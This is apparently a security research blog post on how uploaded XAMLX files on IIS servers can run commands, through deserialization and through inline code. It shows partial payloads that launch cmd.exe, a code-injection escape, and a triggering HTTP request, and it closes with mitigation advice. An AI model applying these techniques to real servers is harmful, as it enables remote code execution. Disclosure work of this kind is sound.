Introduction

In our blog post on ASP.NET resource files and deserialization issues [1], we showed how to run code by abusing deserialization features when uploading a RESX or RESOURCES file. In this blog post, similarly we show abuse of XAMLX file capabilities to run commands on a server when such files can be uploaded within an IIS application.

A XAMLX file can be used to define a workflow service and it uses the XAML file format [2]. Workflow services are workflows that use the messaging activities to send and receive Windows Communication Foundation (WCF) messages [3].

The XAMLX extension can be added to an application using a web.config file but it can also be added to IIS automatically by adding the HTTP Activation feature of WCF Services under .NET Framework 4 as shown below:

This is why it can be seen by default on many web servers that use WCF services.

Abusing XAMLX to run code and commands

There are two ways to execute commands on a server using XAMLX files. The first method uses deserialization and the code is executed during compile time. This means that accessing any .NET files within the same folder as the XMLX file can lead to code execution as .NET often compiles other files beforehand to be ready.

The second method is by a XAMLX file feature that can run code on the server-side when browsing the uploaded file. It is possible to simply use Visual Studio to develop a basic payload for this case. Examples provided here have been modified to be shorter and perhaps more effective.

Upon compilation: using deserialization

XAMLX files use the XAML format which can be abused in deserialization attacks as described in [4]. However, an exact copy and paste of the ResourceDictionary element does not work. We managed to overcome this obstacle by including the payload in an Array object. The following XAMLX files show an example to run a command:

Upon runtime: using inline code

XAMLX files can contain code and therefore they can be abused to run commands. The first .XAMLX example is shown below:


 
 
 
 
 System.Diagnostics.Process.Start("cmd.exe", "/c calc")

The following shows another XAMLX file to abuse the expressions to run commands:


 
 
 
 
 
 
 
 
 [System.Diagnostics.Process.Start("cmd.exe", "/c calc").toString()]

The above payloads can be triggered by sending the following HTTP request:

POST /userfiles/uploaded.xamlx HTTP/1.1
Host: www.victim.com
SOAPAction: testme
Content-Type: text/xml
Content-Length: 94

It is also possible to escape from the defined methods before the compile time to add our custom code to a class rather than just a method within that class. The following shows a working example:


 
 
 
 
 /*/System.Diagnostics.Process.Start("");return base.RewriteExpressionTree(expression);}
 System.Diagnostics.Process x =System.Diagnostics.Process.Start("cmd.exe", "/c calc");
 [System.Diagnostics.DebuggerHiddenAttribute()]
 public System.Diagnostics.Process @__Expr0Get() {return x;

The following screenshot shows its effect after decompiling the created DLL file that is stored in the .NET Framework temporary folder (e.g. C:WindowsMicrosoft.NETFramework64[version]Temporary ASP.NET Files[appname][hash][hash]):

What if XAMLX is missing from web.config?

Although the System.Xaml.Hosting.DLL file comes with the .NET Framework v4, it might not be configured on IIS.

It is possible to solve this issue when a web.config can be uploaded. However, in that case other techniques can be used to run code on the server as well (see [5] for more details). The following web.config file can be used to enable the .XAMLX file extension:

<?xml version="1.0" encoding="UTF-8"?>

What about XOML?

IIS usually supports the .XOML extension when it supports the .XAMLX extension as they are configured after adding the WCF Services’ HTTP Activation feature to the server.

XOML files used to be vulnerable to deserialisation issues (see [6] and [7]), but Microsoft has developed a fix to stop known deserialization gadgets.

Recommendations

Users should not be able to upload .NET files such as .XAMLX on an IIS server. See the OWASP website [8] for more solutions and recommendations.

Additionally, unused file extensions should be disabled by setting their type to System.Web.HttpForbiddenHandler on IIS or within the web.config files across different applications.